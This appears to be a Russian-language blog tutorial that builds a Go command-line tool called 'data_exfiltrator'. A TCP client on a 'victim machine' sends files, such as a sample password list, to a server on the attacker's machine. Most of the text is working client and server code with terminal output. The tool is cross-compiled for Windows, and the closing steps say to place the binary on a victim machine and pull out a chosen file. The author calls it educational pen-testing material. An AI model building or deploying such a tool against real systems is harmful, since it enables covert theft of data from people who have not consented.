Эта статья поможет вам написать программу на языке Golang, которая будет передавать файлы с удаленной машины (машины жертвы) в вашу локальную среду (машину злоумышленника).
Эта статья предназначена в основном для образовательных целей и может быть использована для небольших сценариев пен-тестирования (я использовал ее, и она действительно работает). Мы можем использовать такие инструменты, как scp
и nc
для передачи файловых данных, но здесь у нас есть возможность сделать то же самое нативно, используя Golang.
План действий
- Настройка рабочего пространства
- Создайте TCP-сервер, который откроет TCP-порт для передачи данных.
- Передайте данные, используя
netcat
для проверки соединения. - Одновременно прослушивайте передаваемые данные.
- Создайте клиента, который отправляет данные на сервер.
- Модифицируйте клиент для чтения файла и отправки данных на сервер.
- Создайте приложение CLI с помощью
cobra
, чтобы объединить клиент и сервер в одном приложении и использовать аргументы для приема имен файлов, имени хоста или IP-адреса и порта для подключения. - Сделайте его подходящим для Windows и Linux. (Для вас нужно взломать какой-нибудь читабельный файл для Windows).
Давайте начнем
Настройка рабочего пространства
Сначала мы создадим папку data_exfiltrator
, в которой будет находиться наше приложение. Внутри нее мы создадим папку server
, которая будет содержать файл server.go
.
data_exfiltrator
└── server
└── server.go
TCP сервер
Теперь мы создадим простой TCP-сервер. Для этого мы используем 127.0.0.1
(localhost) и порт 8080 для привязки сервера.
package main
import "fmt"
// constant used for connections
const (
connHost = "127.0.0.1"
connPort = "8080"
connType = "tcp"
)
func main() {
fmt.Printf("Starting %s server on %s:%sn", connType, connHost, connPort)
}
Теперь мы откроем сокет, чтобы использовать его в качестве сервера. Для этого мы попробуем использовать пакет net
, изначально предоставленный нам Golang, который используется для предоставления переносимого интерфейса для сетевых соединений. С пакетом net
легко начать работу.
Когда мы запускаем net.Listen()
, мы хотим прослушать сеть, а когда мы запускаем net.Dial()
, мы хотим установить соединение с какой-то другой программой в сети.
Для связи сервера с сервером мы используем net.Listen()
Для клиента для отправки данных мы используем net.Dial()
.
Сейчас для создания TCP-сервера мы будем использовать net.Listen()
. Теперь код будет выглядеть следующим образом
package main
import (
"fmt"
"net"
)
const (
connHost = "127.0.0.1"
connPort = "8080"
connType = "tcp"
)
func main() {
fmt.Printf("Starting %s server on %s:%sn", connType, connHost, connPort)
// starting a server
conn, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Connection error", connHost+":"+connPort)
panic(err.Error())
}
defer conn.Close()
// to continuously listen to connections
fmt.Println("Listening ...")
for {
client, err := conn.Accept()
if err != nil {
panic(err.Error())
}
// To print the client address and port
fmt.Println("Client", client.RemoteAddr().String(), "connected")
// code here for accepting the traffic
}
}
Мы запускаем сервер с помощью conn, err := net.Listen(connType, connHost+": "+connPort)
и используем defer
в качестве лучшей практики для безопасного закрытия соединения.
Мы запускаем бесконечный цикл для прослушивания соединений и используем
client, err := conn.Accept()
для приема соединений. После этого мы напишем, что нужно делать с клиентом
, когда соединение принято.
func main() {
fmt.Printf("Starting %s server on %s:%sn", connType, connHost, connPort)
// starting a server
conn, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Connection error", connHost+":"+connPort)
panic(err.Error())
}
defer conn.Close()
// to continuously listen to connections
fmt.Println("Listening ...")
for {
client, err := conn.Accept()
if err != nil {
panic(err.Error())
}
// To print the client address and port
fmt.Println("Client", client.RemoteAddr().String(), "connected")
// code here for accepting the traffic
buffer, err := bufio.NewReader(client).ReadBytes('n')
if err != nil {
fmt.Println("Client left")
client.Close()
return
}
fmt.Println("Client message:", string(buffer[:]))
// We close the client just after receiveing one message
client.Close()
}
}
Мы создаем Reader, используя пакет bufio
. Это создаст для нас считыватель, который будет читать байты и разграничивать их на n
. Сообщение от клиента хранится в переменной buffer
в виде байтов, которые мы преобразуем в строку с помощью string(buffer[:])
.
Чтобы запустить и протестировать это, откройте два терминала —
# First terminal
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
На втором терминале
$ nc localhost 8080
остальное мы объясним в следующем разделе
Использование nc
или netcat
для передачи данных
Выполнив команду nc
, вы увидите, что наш оператор print выводит данные о соединении в первом терминале.
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40346 connected
Теперь во втором терминале мы можем просто отправить данные, набрав их на клавиатуре
$ nc localhost 8080
hello
Когда мы нажимаем клавишу Enter после ввода hello
, мы видим, что то же самое появляется и на первом терминале.
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40984 connected
Client message: hello
Вы увидите, что ваше соединение на терминале немедленно закрывается, потому что мы выполняем client.Close()
в последней строке кода. Чтобы сделать его более интерактивным, мы теперь преобразуем этот код для приема соединений и обработки соединения в некоторых goroutine.
Создание goroutine для обработки клиентских соединений
Каждое соединение с сервером будет обрабатываться в goroutine. Это очень просто реализовать, и для этого мы создадим специальную функцию. Имя функции — handleConnection()
, и эта функция будет принимать в качестве параметра клиентское соединение и выполнять поставленные задачи.
func main() {
fmt.Printf("Starting %s server on %s:%sn", connType, connHost, connPort)
// starting a server
conn, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Connection error", connHost+":"+connPort)
panic(err.Error())
}
defer conn.Close()
// to continuously listen to connections
fmt.Println("Listening ...")
for {
client, err := conn.Accept()
if err != nil {
panic(err.Error())
}
// To print the client address and port
fmt.Println("Client", client.RemoteAddr().String(), "connected")
// code here for accepting the traffic
go handleConnection(client)
}
}
// Function to handle go routine after accepting client
func handleConnection(client net.Conn) {
for {
buffer, err := bufio.NewReader(client).ReadBytes('n')
if err != nil {
fmt.Println("Client left")
client.Close()
return
}
fmt.Print("Client message:", string(buffer[:]))
}
}
Оператор Client Left
выполняется в функции handleConnection()
, когда bufio
reader не может прочитать входящие байты, и это происходит, когда клиент закрыл соединение со своей стороны. Теперь сервер не будет закрывать соединение немедленно, так как goroutine выполняет бесконечный цикл для непрерывного получения сообщений от клиента. Теперь ответственность за закрытие соединения лежит на клиенте.
Терминал 1 — Запуск сервера
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Терминал 2 — Запуск клиента nc
$ nc localhost 8080
Теперь мы будем постоянно отправлять сообщения из nc
и можем видеть, как то же самое отражается в терминале 1
Терминал 2 — nc
(Введите ваше сообщение и нажмите Enter для отправки сообщения)
$ nc localhost 8080
hello
how
are
you
Терминал 1 — Ваш сервер
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Когда мы завершаем команду nc
с помощью Ctrl+C, то получаем сообщение на сервере, что клиент вышел.
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
Теперь вам не нужно перезапускать сервер для очередного подключения. Просто создайте клиент nc
и начните отправлять сообщения снова.
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
Client 127.0.0.1:55832 connected
Client message:hello how are you
Здесь мы видим, что клиент снова подключится через другой порт источника.
Создание клиента, отправляющего данные на сервер
Теперь мы избавимся от необходимости использовать nc
и создадим собственный клиент для достижения той же цели.
Для этого создайте каталог client
и создайте внутри него файл client.go
.
package main
import (
"bufio"
"fmt"
"os"
)
// there are server details to which client will connect
const (
connHost = "127.0.0.1"
connPort = "8080"
connType = "tcp"
)
func main() {
reader := bufio.NewReader(os.Stdin)
for {
fmt.Print("Enter text: ")
text, _ := reader.ReadString('n')
fmt.Printf("Your text is %s", text)
}
}
У нас есть данные сервера, которые мы вскоре будем использовать для подключения нашего клиента к серверу. Сейчас мы создали программу чтения, которая принимает входные данные из os.Stdin
(вашего терминала) и распечатывает их в непрерывном цикле. Вы можете запустить эту программу через go run client/client.go
, чтобы проверить, работает ли она у вас.
Теперь мы изменим функцию main
для отправки текста
на наш сервер, и мы уже обсуждали, что для этого нужно использовать net.Dial()
. Итак, наша функция main
будет выглядеть следующим образом
package main
import (
"bufio"
"fmt"
"net"
"os"
)
// there are server details to which client will connect
const (
connHost = "127.0.0.1"
connPort = "8080"
connType = "tcp"
)
func main() {
// connecting to the server
conn, err := net.Dial(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Not able to connect to ", connHost, "at port", connPort)
panic(err.Error())
}
defer conn.Close()
// creating a reader
reader := bufio.NewReader(os.Stdin)
for {
fmt.Print("Enter text: ")
text, _ := reader.ReadString('n')
// Convert the text to bytes and then write the bytes for it send to the connection.
conn.Write([]byte(text))
}
}
Мы создадим блок для подключения к серверу и создадим считыватель для чтения ввода из stdin
, а затем отправим его с помощью функции conn.Write()
.
Для этого мы сначала запустим сервер в терминале 1 и клиента в терминале 2.
Терминал — 1
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Терминал — 2
$ go run client/client.go
Enter text:
Введите для отправки текста
Терминал — 2 (клиент)
$ go run client/client.go
Enter text: hello
Enter text: how
Enter text: are
Enter text: you
Терминал — 1 (сервер)
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:58480 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Модификация клиента для чтения файла
Нашей основной целью является передача текстового файла с машины жертвы на удаленную машину, поэтому логично, что наш клиент должен читать ввод из текстовых файлов, а не из os.Stdin
.
Для этого мы создадим текстовый файл sample_input.txt
.
password1
password2
password3
password4
Наша структура каталогов выглядит следующим образом
$ tree .
.
├── client
│ ├── client.go
│ └── sample_input.txt
└── server
└── server.go
Теперь наш client.go
будет изменен для чтения данных из файла sample_input.txt
.
package main
import (
"bufio"
"fmt"
"net"
"os"
)
// there are server details to which client will connect
// we add here the file name to exfiltrate
const (
connHost = "127.0.0.1"
connPort = "8080"
connType = "tcp"
fileName = "client/sample_input.txt"
)
func main() {
// connecting to the server
conn, err := net.Dial(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Not able to connect to ", connHost, "at port", connPort)
panic(err.Error())
}
defer conn.Close()
// Open the file here
file, err := os.Open(fileName)
defer file.Close()
if err != nil {
fmt.Println("Not able to read file", fileName)
panic(err.Error())
}
// Create a scanner to read the open file
scanner := bufio.NewScanner(file)
for scanner.Scan() {
// We add n because scanner.Text() removes the ending newline character
conn.Write([]byte(scanner.Text() + "n"))
}
fmt.Println("File transferred successfully")
}
Мы добавляем const
для расположения файла fileName
. Для открытия файла для чтения мы используем библиотеку os
, а для чтения текста из файла — сканер bufio
.
Проблема со сканером Scanner
заключается в том, что он удаляет новую строку после чтения текста из файла. Поэтому нам нужно добавить новую строку в конце текста, который мы отправляем соединению в операторе conn.Write()
. Давайте протестируем это!
Терминал -1 запустите ваш сервер в обычном режиме, так как изменений нет
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Запуск вашего файла client.go
для отправки данных
$ go run client/client.go
File transferred successfully
Если мы увидим вывод в терминале 1, мы будем удивлены
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:34706 connected
Client message:password1
Client left
Мы видим, что на сервер передается только первая строка. Но почему? Что происходит с оставшейся?
Проблема заключается в скорости, с которой клиент отправляет данные, и скорости, с которой сервер готов их принять. Поскольку связь асинхронная, клиент никогда не уверен, что сервер прочитал предыдущее сообщение. Чтобы сделать работу клиента немного медленной, добавим time.Sleep()
, чтобы клиент спал в течение 5 миллисекунд.
Это должно быть сделано в цикле scanner.Scan()
.
<...>
scanner := bufio.NewScanner(file)
for scanner.Scan() {
// We add n because scanner.Text() removes the ending newline character
conn.Write([]byte(scanner.Text() + "n"))
// sleeping for 5 milliseconds
time.Sleep(5 * time.Millisecond)
}
<...>
Теперь запустите client.go
в терминале 2
$ go run client/client.go
File transferred successfully
и сервер в терминале 1
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:35510 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
Если это все еще не дает правильного ответа, попробуйте увеличить время сна до 10, 20 или даже 50 миллисекунд. Но не является ли этот подход все еще асинхронным. Клиент все еще не знает, были ли данные прочитаны сервером или нет.
Чтобы сделать этот процесс полностью синхронизированным, мы попросим сервер ответить yes
или, может быть, чем угодно, вплоть до одного символа, чтобы заявить, что он прочитал сообщение, и одновременно попросим клиента прочитать (и отправить) следующую строку только после получения этого подтверждения.
Для этого модифицируем server.go
, чтобы записать ответ в функции handleConnection
.
func handleConnection(client net.Conn) {
for {
buffer, err := bufio.NewReader(client).ReadBytes('n')
if err != nil {
fmt.Println("Client left")
client.Close()
return
}
fmt.Print("Client message:", string(buffer[:]))
// send this as a response to the client
client.Write([]byte("Y"))
}
}
а в client.go
для чтения ответа мы изменим цикл for функции scanner.Scan
.
scanner := bufio.NewScanner(file)
for scanner.Scan() {
// We add n because scanner.Text() removes the ending newline character
conn.Write([]byte(scanner.Text() + "n"))
// declare a byte variable
var b = make([]byte, 2, 3)
// read the response here
conn.Read(b)
}
Мы объявим переменную и прочитаем ответ в этой переменной. Как только это будет сделано, мы начнем читать следующую строку.
Запуск из терминала — 2 для клиента
$ go run client/client.go
File transferred successfully
Из терминала — 1 для сервера
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:36584 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
Теперь весь наш процесс синхронный.
Если вы хотите, вы можете остановиться на этом и изменить хост и порт так, чтобы они работали для ваших нужд. Запустите сервер на локальной машине и запустите клиентскую программу на машине жертвы. Очевидно, что существует большая вероятность того, что вы не сможете запустить программу go на машине жертвы напрямую с помощью команды go
, поэтому вам необходимо преобразовать ее в исполняемый файл. Для этого вы можете выполнить следующую команду —
$ cd client
$ go build client.go
Это позволит создать двоичный файл, который можно распространить среди жертв и передать оттуда текстовые файлы.
Если вы хотите превратить все это в полноценный инструмент, то следуйте дальше, чтобы увидеть, как мы преобразуем сервер и клиент в одно приложение и используем аргументы для хоста, порта и путей к файлам.
Использование cobra для модификации CLI.
Прежде чем погрузиться в эту тему, наша цель в этом подразделе — создать инструмент, который запускает сервер следующим образом
./data_exfiltrator server --host 192.168.56.1 --port 8080 -o output.txt
и для клиента для эксфильтрации password.txt
.
./data_exfiltrator client --host 192.168.56.1 --port 8080 -f password.txt
Для этого мы будем использовать cobra
, который используется во многих проектах с открытым исходным кодом, таких как kubernetes
.
Для начала работы вот наша текущая папка
$ pwd
~/data_exfiltrator
а структура папок следующая
$ tree .
.
├── client
│ ├── client.go
│ └── sample_input.txt
└── server
└── server.go
Сначала нам нужно создать модуль, что можно сделать, выполнив команду
$ go mod init example.com/data_exfiltrator
go: creating new go.mod: module example.com/data_exfiltrator
go: to add module requirements and sums:
go mod tidy
# It will create a go.mod file
$ ls -lrt
total 12
drwxr-xr-x 2 kai kai 4096 Jan 21 23:51 server
drwxr-xr-x 2 kai kai 4096 Jan 23 21:29 client
-rw-r--r-- 1 kai kai 45 Jan 23 21:31 go.mod
Для установки cobra нам нужно установить ее модуль. Предпочтительно запустить его из каталога ~/data_exfiltrator
.
$ go get -u github.com/spf13/cobra
Это установит зависимость модуля в файл go.mod
и файл go.sum
для контрольных сумм.
Теперь нам нужно настроить нашу переменную PATH
так, чтобы она принимала двоичные файлы, находящиеся по пути GOBIN
. Чтобы получить GOBIN
.
$ go env | grep GOBIN
Если GOBIN
для вас пуст, найдите GOPATH/bin
и добавьте его в переменную path.
Чтобы проверить это, выполните следующие действия
$ cobra help
Если все прошло успешно, значит, cobra установлена правильно.
Теперь мы будем использовать cobra для инициализации нашего клиентского APP. Для этого нужно выполнить следующую команду
$ cobra init
Это инициализирует ваше приложение, и вы увидите множество созданных файлов.
$ tree .
.
├── client
│ ├── client.go
│ └── sample_input.txt
├── cmd
│ └── root.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
└── server.go
Во-первых, cobra
создает main.go
, с которого начнется работа нашего приложения. Во-вторых, она создает файл cmd
, который содержит root.go
. Это файл, который будет выполняться из main.go
и будет содержать то, что нам нужно сделать при запуске main.go
.
Мы хотим добавить такие подкоманды, как client
и server
, как описано ранее. Для этого мы можем выполнить
$ cobra add client
$ cobra add server
Это изменит каталог cmd
и добавит два дополнительных файла с именами client.go
и server.go
.
$ tree .
.
├── client
│ ├── client.go
│ └── sample_input.txt
├── cmd
│ ├── client.go
│ ├── root.go
│ └── server.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
└── server.go
Наши файлы сервера и клиента находятся в server/server.go
и client/client.go
, которые отличаются от server.go
и client.go
, созданных cobra
в каталоге cmd
.
Когда мы выполним go run main.go client
, будет вызван cmd/client.go
, а когда мы выполним go run main.go server
, будет вызван cmd/server.go
.
Сейчас, если мы наблюдаем, наши client/client.go
и server/server.go
являются частью пакета main
. Мы не можем использовать main
в качестве пакета для них, потому что мы не хотим создавать для них отдельные двоичные файлы, поэтому мы преобразуем client/client.go
в пакет client
, а для server/server.go
мы будем использовать имя пакета server
. Для этого просто измените имена пакетов с main
на client
или server
соответственно.
Теперь, поскольку мы запускаем эти файлы отдельно, мы удалим функцию main
и создадим для них разные функции.
Для client/client.go
package client
import (
"bufio"
"fmt"
"net"
"os"
)
const connType = "tcp"
func checkFile(file string) error {
_, err := os.Stat(file)
return err
// check file permissions as well
}
func ExfiltrateFile(fileName, connHost, connPort string) error {
// stat file
if checkFile(fileName) != nil {
return fmt.Errorf("FileNotFound: Not able to find the file %s", fileName)
}
// check connection
fmt.Printf("Connecting %s:%s over %sn", connHost, connPort, connType)
conn, err := net.Dial(connType, connHost+":"+connPort)
if err != nil {
fmt.Println(err.Error())
return fmt.Errorf("HostNotReachable: Not able to connect %s:%s", connHost, connPort)
}
defer conn.Close()
//transfer file
file, err := os.Open(fileName)
if err != nil {
return fmt.Errorf("FilePermission: Not able to read file %s", fileName)
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
var b = make([]byte, 2, 3)
// We add n because scanner.Text() removes the ending newline character
conn.Write([]byte(scanner.Text() + "n"))
// Wait for the server message to indicate that the line is written
conn.Read(b)
}
return nil
}
Как мы заметили, в приведенном выше файле у нас нет функции main, скорее мы используем ExfiltrateFile
как функцию, которая принимает fileName
, connHost
и connPort
в качестве аргументов.
Теперь попробуйте понять, что мы здесь делаем. Мы будем передавать опцию от оболочки, чтобы принять имена файлов, хост и порт. Они будут переданы в root.go
. root.go
определит, какую подкоманду мы используем, client
или server
по команде, которую мы набрали. Допустим, если мы выполняем подкоманду client
, то будет вызван cmd/client.go
с соответствующими флагами (имена файлов, хост и порт, переданные из shell). Как только cmd/client.go
получит эти флаги, она вызовет функцию ExfiltrateFile()
из client/client.go
и передаст эти флаги в качестве аргументов. Функция ExfiltrateFile()
запустит логику клиента, которую мы построили ранее.
Это также относится к server/server.go
.
package server
import (
"bufio"
"fmt"
"net"
"os"
)
const (
connType = "tcp"
)
func Serve(fileName, connHost, connPort string) error {
fmt.Printf("Starting %s server on %s:%sn", connType, connHost, connPort)
conn, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
return fmt.Errorf("ConnectionError: Not able to connect %s", connHost+":"+connPort)
}
defer conn.Close()
// running the loop for listening all the connections
fmt.Println("Listening ... ")
for {
// Start accepting the connections
client, err := conn.Accept()
if err != nil {
panic(err.Error())
}
fmt.Println("Client", client.RemoteAddr().String(), "connected")
go handleClientConnection(client, fileName)
fmt.Println("You can press Ctrl+c to terminate the program")
}
}
func handleClientConnection(conn net.Conn, fileName string) {
// handling buffer writes
// it take the connection and then creates the buffer
file, err := os.Create(fileName)
if err != nil {
panic(err)
}
defer close(file)
for {
buffer, err := bufio.NewReader(conn).ReadBytes('n')
if err != nil {
fmt.Println("Client left")
conn.Close()
return
}
file.WriteString(string(buffer[:]))
// Sending a reply back to client for synchronous connection
conn.Write([]byte("Yn"))
}
}
func close(file *os.File) {
fmt.Println("Closing the file")
fmt.Println()
fmt.Println("Listening ... (press Ctrl+c to terminate)")
file.Close()
}
Здесь мы используем функцию Serve
для запуска TCP-сервера, принимая в качестве параметров имя файла, хост и порт.
Если мы внимательно посмотрим на функцию handleConnection
, то теперь мы выводим все в файл, а не на консоль. Это имя файла получается из опции --output
или -o
в файле cmd/server.go
.
Теперь наша клиентская и серверная логика готова к использованию. Нам просто нужно изменить cmd/client.go
и cmd/server.go
, чтобы передать флаги client
и server
соответственно.
Итак, cmd/client.go
это
package cmd
import (
"log"
"github.com/dunefro/data_exfiltrator/client"
"github.com/spf13/cobra"
)
// clientCmd represents the client command
var clientCmd = &cobra.Command{
Use: "client",
Short: "to run the client",
Long: `Running the client for data exfiltrator`,
Run: func(cmd *cobra.Command, args []string) {
fileName, _ := cmd.Flags().GetString("file")
host, _ := cmd.Flags().GetString("host")
port, _ := cmd.Flags().GetString("port")
err := client.ExfiltrateFile(fileName, host, port)
if err != nil {
log.Println("Failed to transfer the file")
log.Fatal(err.Error())
} else {
log.Println("Successful: File was transferred")
}
},
}
func init() {
rootCmd.AddCommand(clientCmd)
// defining flags for client
clientCmd.PersistentFlags().StringP("file", "f", "", "file(text) name which you want to transfer (required)")
clientCmd.MarkPersistentFlagRequired("file")
clientCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
clientCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")
}
В функции init()
у нас есть флаги, которые доступны с подкомандой client
. Это file
, host
и port
, которые могут быть вызваны с помощью --
для аргументов оболочки. В подкоманде client
мы отметили только одну из опций как обязательную, а именно file
. Логично, что клиент должен передать некоторый файл для эксфильтрации. Если host
и port
не указаны, то мы будем использовать значения по умолчанию 127.0.0.1
и 8080
. Это указано в 3-м аргументе каждого флага. Мы можем использовать небольшую опцию p
для порта как -p
.
После инициализации функция в Run
будет выполнена, и мы можем получить все значения, переданные для каждого аргумента в вызванной команде, используя cmd.Flags()
. Итак,
fileName, _ := cmd.Flags().GetString("file")
host, _ := cmd.Flags().GetString("host")
port, _ := cmd.Flags().GetString("port")
Это дает значения fileName
, host
и port
, переданные в команде. Получив их, мы вызываем функцию ExfiltrateFile()
из client/client.go
, которую мы импортировали в cmd/client.go
командой
"example.com/data_exfiltrator/client"
и поэтому теперь вызываем функцию exfiltrate
client.ExfiltrateFile(fileName, host, port)
Это происходит и для server.go
.
package cmd
import (
"fmt"
"example.com/data_exfiltrator/server"
"github.com/spf13/cobra"
)
// serverCmd represents the server command
var serverCmd = &cobra.Command{
Use: "server",
Short: "creating server",
Long: `This will create a server at a specified port for connection and output to directed file`,
Run: func(cmd *cobra.Command, args []string) {
fileName, _ := cmd.Flags().GetString("output")
host, _ := cmd.Flags().GetString("host")
port, _ := cmd.Flags().GetString("port")
err := server.Serve(fileName, host, port)
if err != nil {
fmt.Println(err.Error())
}
},
}
func init() {
rootCmd.AddCommand(serverCmd)
// defining flags
serverCmd.PersistentFlags().StringP("output", "o", "", "output(text file) to transfer the data (required)")
serverCmd.MarkPersistentFlagRequired("output")
serverCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
serverCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")
}
Для подкоманды serve
мы используем output
в качестве опции для вывода того, что мы получаем от клиента. Это обязательная опция, которая должна быть передана при вызове подкоманды server
. У нас есть host
и port
, аналогично подкоманде client
. Мы вызываем функцию сервера по —
server.Serve(fileName, host, port)
и передаем выходной файл, хост и порт.
Наконец, root.go
будет иметь вид
package cmd
import (
"os"
"github.com/spf13/cobra"
)
// rootCmd represents the base command when called without any subcommands
var rootCmd = &cobra.Command{
Use: "data_exfiltrator [command]",
Short: "Exfiltrate your files from one location to another",
Long: `Application to build data exfiltrator`,
// Uncomment the following line if your bare application
// has an action associated with it:
// Run: func(cmd *cobra.Command, args []string) { },
}
// Execute adds all child commands to the root command and sets flags appropriately.
// This is called by main.main(). It only needs to happen once to the rootCmd.
func Execute() {
err := rootCmd.Execute()
if err != nil {
os.Exit(1)
}
}
func init() {
// Here you will define your flags and configuration settings.
// Cobra supports persistent flags, which, if defined here,
// will be global for your application.
// rootCmd.PersistentFlags().StringVar(&cfgFile, "config", "", "config file (default is $HOME/.data_exfiltrator.yaml)")
// Cobra also supports local flags, which will only run
// when this action is called directly.
// rootCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle")
// Add version here
}
Для root.go
мы запретили флагу Run
держать любую функцию. Это потому, что мы не хотим ничего делать, пока не будет передана подкоманда, например client
или server
.
Итак, теперь мы соберем все и протестируем. Для сборки
$ go build
Это создаст бинарник под названием data_exfiltrator
. Запустите этот бинарник простым способом
$ ./data_exfiltrator
Application to build data exfiltrator
Usage:
data_exfiltrator [command]
Available Commands:
client to run the client
completion Generate the autocompletion script for the specified shell
help Help about any command
server creating server
Flags:
-h, --help help for data_exfiltrator
Use "data_exfiltrator [command] --help" for more information about a command.
Попробуем запустить сервер
$ ./data_exfiltrator server -o something.txt --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ...
Теперь попробуем запустить клиент
$ ./data_exfiltrator client
Error: required flag(s) "file" not set
Usage:
data_exfiltrator client [flags]
Flags:
-f, --file string file(text) name which you want to transfer (required)
-h, --help help for client
--host string host that you wish to connect (default "127.0.0.1")
-p, --port string port that you wish to connect (default "8080")
Это не удастся, поскольку, как мы уже говорили, для этого нам нужно передать опцию --file
, поэтому
$ ./data_exfiltrator client -f client/sample_input.txt --host 192.168.56.178 --port 8080
Connecting 192.168.56.178:8080 over tcp
2022/01/23 22:43:27 Successful: File was transferred
В терминале 1, где запущен сервер, теперь отображается
$ ./data_exfiltrator server -o something.txt --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ...
Client 192.168.56.178:34154 connected
You can press Ctrl+c to terminate the program
Client left
Closing the file
Listening ... (press Ctrl+c to terminate)
Нажмите Ctrl+C для проверки файла something.txt
$ cat something.txt
password1
password2
password3
password4
Файл эксфильтрирован.
Подходит для Windows и Linux
Во время эксфильтрации моей главной проблемой было то, что я не мог запустить некоторые программы на windows, которые я легко мог запустить на Linux. Поскольку Golang предоставляет нам такую возможность, я создал такой же бинарник и для Windows.
Давайте проверим, как это сделать.
Чтобы сделать файл специфичным для windows
$ GOOS=windows GOARCH=amd64 go build .
Это создаст файл под названием data_exfiltrator.exe
, который теперь можно запустить на windows.
Обычно сценарий заключается во взломе файлов из windows, и хакеры используют Linux в качестве своего хоста. Вот почему наличие data_exfiltrator.exe
и data_exfiltrator
будет очень полезно, потому что теперь мы можем смешивать и подбирать варианты использования в широком диапазоне.
Как использовать вышеуказанный файл
- Как только вы собрали бинарник, перейдите на машину-жертву и сохраните этот бинарник там. Если это windows, то скопируйте бинарник для windows.
- На локальной машине запустите сервер командой
./data_exfiltrator server --ouput <outputfile> --host <yourIP> --port <yourPort>
. Если у вас локальная система windows, то запустите./data_exilftrator.exe server
с аналогичными флагами. - Теперь на стороне жертвы запустите
./data_exfiltrator.exe client -f <filetohack> --host <serverhost> --port <serverport>
. - Вы получите файл
<filetohack>
в вашей локалке с именем<outputfile>
.
Заключение
Приведенная выше программа, если читать ее за один раз, может стать кошмаром для выполнения, поэтому я постарался распределить ее на множество маленьких кусочков. Главное, что вы вынесли из этой программы, — это понимание логики программирования сокетов и того, как создать CLI-приложение на Golang.
Чтобы получить полный исходный код, вы можете обратиться к GITHUB. Дайте мне знать, что вы думаете об этом.
Ссылки
- https://blog.knoldus.com/create-kubectl-like-cli-with-go-and-cobra/
- https://dev.to/aurelievache/learning-go-by-examples-part-3-create-a-cli-app-in-go-1h43
- https://github.com/spf13/cobra